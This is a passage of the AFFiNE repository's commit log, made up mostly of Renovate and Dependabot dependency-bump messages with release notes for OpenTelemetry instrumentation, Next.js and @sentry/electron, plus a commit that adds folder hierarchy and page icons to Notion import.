([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.36.2 to ^0.37.0
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.45.1 to ^0.46.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-nestjs-core)</summary>

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0540-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;3134](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3134))
([c302e35](c302e3530d))

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0530-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

###
[`v0.52.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0522-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.52.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0521-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0510-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0500-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0490-2025-07-09)

[Compare
Source](52dd28deae...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

###
[`v0.48.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0481-2025-07-04)

[Compare
Source](7481f71d61...52dd28deae)

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;2832](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2832))
([e45605d](e45605d0e7))

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0480-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

###
[`v0.47.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0470-2025-05-15)

[Compare
Source](88386368af...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

###
[`v0.46.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0460-2025-04-08)

[Compare
Source](32abc4c3c0...88386368af)

##### Features

- **instrumentation-nestjs-core:** add support for NestJS 11
([#&#8203;2685](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2685))
([67e37b7](67e37b78ab))

###
[`v0.45.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0450-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-socket.io)</summary>

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0540-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.53.0 to ^0.54.0

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0530-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.2 to ^0.53.0

###
[`v0.52.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0523-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.1 to ^0.52.2

###
[`v0.52.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0522-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.0 to ^0.52.1

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0520-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.50.0 to ^0.51.0

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0510-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.49.0 to ^0.50.0

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0500-2025-07-09)

[Compare
Source](7481f71d61...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.48.0 to ^0.49.0

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0490-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.47.0 to ^0.48.0

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0480-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.46.0 to ^0.47.0

###
[`v0.47.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0470-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.45.1 to ^0.46.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4zMy42IiwidXBkYXRlZEluVmVyIjoiNDEuMTU2LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-10-22 03:59:48 +00:00
dependabot[bot]
35c2ad262f chore: bump next from 15.3.2 to 15.5.4 (#13739)
Bumps [next](https://github.com/vercel/next.js) from 15.3.2 to 15.5.4.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/vercel/next.js/releases">next's
releases</a>.</em></p>
<blockquote>
<h2>v15.5.4</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: ensure onRequestError is invoked when otel enabled (<a
href="https://redirect.github.com/vercel/next.js/issues/83343">#83343</a>)</li>
<li>fix: devtools initial position should be from next config (<a
href="https://redirect.github.com/vercel/next.js/issues/83571">#83571</a>)</li>
<li>[devtool] fix overlay styles are missing (<a
href="https://redirect.github.com/vercel/next.js/issues/83721">#83721</a>)</li>
<li>Turbopack: don't match dynamic pattern for node_modules packages (<a
href="https://redirect.github.com/vercel/next.js/issues/83176">#83176</a>)</li>
<li>Turbopack: don't treat metadata routes as RSC (<a
href="https://redirect.github.com/vercel/next.js/issues/82911">#82911</a>)</li>
<li>[turbopack] Improve handling of symlink resolution errors in
track_glob and read_glob (<a
href="https://redirect.github.com/vercel/next.js/issues/83357">#83357</a>)</li>
<li>Turbopack: throw large static metadata error earlier (<a
href="https://redirect.github.com/vercel/next.js/issues/82939">#82939</a>)</li>
<li>fix: error overlay not closing when backdrop clicked (<a
href="https://redirect.github.com/vercel/next.js/issues/83981">#83981</a>)</li>
<li>Turbopack: flush Node.js worker IPC on error (<a
href="https://redirect.github.com/vercel/next.js/issues/84077">#84077</a>)</li>
</ul>
<h3>Misc Changes</h3>
<ul>
<li>[CNA] use linter preference (<a
href="https://redirect.github.com/vercel/next.js/issues/83194">#83194</a>)</li>
<li>CI: use KV for test timing data (<a
href="https://redirect.github.com/vercel/next.js/issues/83745">#83745</a>)</li>
<li>docs: september improvements and fixes (<a
href="https://redirect.github.com/vercel/next.js/issues/83997">#83997</a>)</li>
</ul>
<h3>Credits</h3>
<p>Huge thanks to <a
href="https://github.com/yiminghe"><code>@​yiminghe</code></a>, <a
href="https://github.com/huozhi"><code>@​huozhi</code></a>, <a
href="https://github.com/devjiwonchoi"><code>@​devjiwonchoi</code></a>,
<a href="https://github.com/mischnic"><code>@​mischnic</code></a>, <a
href="https://github.com/lukesandberg"><code>@​lukesandberg</code></a>,
<a href="https://github.com/ztanner"><code>@​ztanner</code></a>, <a
href="https://github.com/icyJoseph"><code>@​icyJoseph</code></a>, <a
href="https://github.com/leerob"><code>@​leerob</code></a>, <a
href="https://github.com/fufuShih"><code>@​fufuShih</code></a>, <a
href="https://github.com/dwrth"><code>@​dwrth</code></a>, <a
href="https://github.com/aymericzip"><code>@​aymericzip</code></a>, <a
href="https://github.com/obendev"><code>@​obendev</code></a>, <a
href="https://github.com/molebox"><code>@​molebox</code></a>, <a
href="https://github.com/OoMNoO"><code>@​OoMNoO</code></a>, <a
href="https://github.com/pontasan"><code>@​pontasan</code></a>, <a
href="https://github.com/styfle"><code>@​styfle</code></a>, <a
href="https://github.com/HondaYt"><code>@​HondaYt</code></a>, <a
href="https://github.com/ryuapp"><code>@​ryuapp</code></a>, <a
href="https://github.com/lpalmes"><code>@​lpalmes</code></a>, and <a
href="https://github.com/ijjk"><code>@​ijjk</code></a> for helping!</p>
<h2>v15.5.3</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: validation return types of pages API routes (<a
href="https://redirect.github.com/vercel/next.js/issues/83069">#83069</a>)</li>
<li>fix: relative paths in dev in validator.ts (<a
href="https://redirect.github.com/vercel/next.js/issues/83073">#83073</a>)</li>
<li>fix: remove satisfies keyword from type validation to preserve old
TS compatibility (<a
href="https://redirect.github.com/vercel/next.js/issues/83071">#83071</a>)</li>
</ul>
<h3>Credits</h3>
<p>Huge thanks to <a
href="https://github.com/bgub"><code>@​bgub</code></a> for helping!</p>
<h2>v15.5.2</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: disable unknownatrules lint rule entirely (<a
href="https://redirect.github.com/vercel/next.js/issues/83059">#83059</a>)</li>
<li>revert: add ?dpl to fonts in /_next/static/media (<a
href="https://redirect.github.com/vercel/next.js/issues/83062">#83062</a>)</li>
</ul>
<h3>Credits</h3>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="40f1d7814d"><code>40f1d78</code></a>
v15.5.4</li>
<li><a
href="cb30f0a176"><code>cb30f0a</code></a>
[backport] docs: september improvements and fixes (<a
href="https://redirect.github.com/vercel/next.js/issues/83997">#83997</a>)</li>
<li><a
href="b6a32bb579"><code>b6a32bb</code></a>
[backport] [CNA] use linter preference (<a
href="https://redirect.github.com/vercel/next.js/issues/83194">#83194</a>)
(<a
href="https://redirect.github.com/vercel/next.js/issues/84087">#84087</a>)</li>
<li><a
href="26d61f1e9a"><code>26d61f1</code></a>
[backport] Turbopack: flush Node.js worker IPC on error (<a
href="https://redirect.github.com/vercel/next.js/issues/84079">#84079</a>)</li>
<li><a
href="e11e87a547"><code>e11e87a</code></a>
[backport] fix: error overlay not closing when backdrop clicked (<a
href="https://redirect.github.com/vercel/next.js/issues/83981">#83981</a>)
(<a
href="https://redirect.github.com/vercel/next.js/issues/83">#83</a>...</li>
<li><a
href="0a29888575"><code>0a29888</code></a>
[backport] fix: devtools initial position should be from next config (<a
href="https://redirect.github.com/vercel/next.js/issues/83571">#83571</a>)...</li>
<li><a
href="7a53950c13"><code>7a53950</code></a>
[backport] Turbopack: don't treat metadata routes as RSC (<a
href="https://redirect.github.com/vercel/next.js/issues/83804">#83804</a>)</li>
<li><a
href="050bdf1ae7"><code>050bdf1</code></a>
[backport] Turbopack: throw large static metadata error earlier (<a
href="https://redirect.github.com/vercel/next.js/issues/83816">#83816</a>)</li>
<li><a
href="1f6ea09f85"><code>1f6ea09</code></a>
[backport] Turbopack: Improve handling of symlink resolution errors (<a
href="https://redirect.github.com/vercel/next.js/issues/83805">#83805</a>)</li>
<li><a
href="c7d1855499"><code>c7d1855</code></a>
[backport] CI: use KV for test timing data (<a
href="https://redirect.github.com/vercel/next.js/issues/83860">#83860</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/vercel/next.js/compare/v15.3.2...v15.5.4">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=next&package-manager=npm_and_yarn&previous-version=15.3.2&new-version=15.5.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-10-21 17:47:26 +00:00
Martijn Smit
a0613b6306 feat(core): enhance Notion import with folder hierarchy and page icons (#13692)
Hi 👋

Love what you're doing with AFFiNE, I found my Notion replacement in
this app. Coming from Notion and importing my workspaces, I saw the need
to improve the import functionality to replicate the folder hierarchy
from Notion into the AFFiNE folder structure in the `Organize` section.
There are a few issues(i.e. #12961 and #13629 ) of people that expected
the same behavior. This should make it a lot easier for people to move
over.

### Technical description

Improve Notion import functionality to preserve organizational structure
and page icons from exports:

- Add folder hierarchy preservation during Notion import
- Extract and set page icons (emoji and image) from Notion HTML
- Integrate with OrganizeService to recreate folder structure
- Use ExplorerIconService to apply page icons to imported documents
- Tested using production workspace exports from Notion, several
thousand pages and multiple hierarchy levels deep.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Imports from Notion/HTML now recreate folder hierarchies and link
imported pages into that structure.
- Page icons (emoji and supported images) are extracted and attached to
imported pages.
  - Import results now include the created root folder for quick access.

- Improvements
- Import flows integrate folder creation and icon assignment with
non-blocking error handling.

- Bug Fixes
  - Avoids including undefined page IDs in successful imports.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-21 17:34:23 +00:00
renovate[bot]
c18840038f chore: bump up @sentry/electron version to v7 (#13652)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@sentry/electron](https://redirect.github.com/getsentry/sentry-electron)
| [`^6.1.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/6.6.0/7.2.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/6.6.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>getsentry/sentry-electron (@&#8203;sentry/electron)</summary>

###
[`v7.2.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#720)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.1.1...7.2.0)

- feat: Update JavaScript SDKs from
[v10.11.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.11.0)
to
[v10.17.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.17.0)
- feat: Log os and device attributes
([#&#8203;1246](https://redirect.github.com/getsentry/sentry-electron/issues/1246))

###
[`v7.1.1`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#711)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.1.0...7.1.1)

- fix: Preload injection path
([#&#8203;1243](https://redirect.github.com/getsentry/sentry-electron/issues/1243))
- fix: Preload `contextIsolation` issues
([#&#8203;1244](https://redirect.github.com/getsentry/sentry-electron/issues/1244))
- fix: Include `sentry.origin` with auto-generated logs
([#&#8203;1241](https://redirect.github.com/getsentry/sentry-electron/issues/1241))

###
[`v7.1.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#710)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.0.0...7.1.0)

- feat: Update JavaScript SDKs from
[v10.7.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.7.0)
to
[v10.11.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.11.0)
([#&#8203;1236](https://redirect.github.com/getsentry/sentry-electron/issues/1236))
- feat: Optional Namespaced IPC
([#&#8203;1234](https://redirect.github.com/getsentry/sentry-electron/issues/1234))
- fix: Export `ErrorEvent` type
([#&#8203;1229](https://redirect.github.com/getsentry/sentry-electron/issues/1229))
- fix: Only capture logs if `enableLogs` is true
([#&#8203;1235](https://redirect.github.com/getsentry/sentry-electron/issues/1235))

###
[`v7.0.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#700)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.11.0...7.0.0)

This release updates the underlying Sentry JavaScript SDKs to v10 which
includes
some breaking changes. Check out the the [migration
guide](./MIGRATION.md) for
more details.

- feat: Update JavaScript SDKs to v10.8.0
([#&#8203;1205](https://redirect.github.com/getsentry/sentry-electron/issues/1205))

###
[`v6.11.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#6110)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.10.0...6.11.0)

- feat: Update JavaScript SDKs from
[v9.45.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.45.0)
to
[v9.46.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.46.0)
- fix: Ensure native directory ends up in package
([#&#8203;1216](https://redirect.github.com/getsentry/sentry-electron/issues/1216))

###
[`v6.10.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#6100)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.9.0...6.10.0)

- feat: Update JavaScript SDKs from
[v9.43.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.43.0)
to
[v9.45.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.45.0)
- fix: Don't use `deepmerge` to merge events to remove circular ref.
issues
([#&#8203;1210](https://redirect.github.com/getsentry/sentry-electron/issues/1210))
- fix: Support `node16` for TypeScript `moduleResolution`
([#&#8203;1203](https://redirect.github.com/getsentry/sentry-electron/issues/1203))

###
[`v6.9.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#690)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.8.0...6.9.0)

- feat: Update JavaScript SDKs from

[v9.26.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.26.0)
  to

[v9.43.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.43.0)
- feat: Add `eventLoopBlockIntegration`
([#&#8203;1188](https://redirect.github.com/getsentry/sentry-electron/issues/1188))
- feat: Move renderer event loop block detection to an integration
([#&#8203;1196](https://redirect.github.com/getsentry/sentry-electron/issues/1196))

###
[`v6.8.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#680)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.7.0...6.8.0)

- feat: Update JavaScript SDKs from
[v9.25.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.25.0)
to
[v9.26.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.26.0)
- fix: Don't capture stack traces from destroyed renderers
([#&#8203;1165](https://redirect.github.com/getsentry/sentry-electron/issues/1165))

###
[`v6.7.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#670)

[Compare
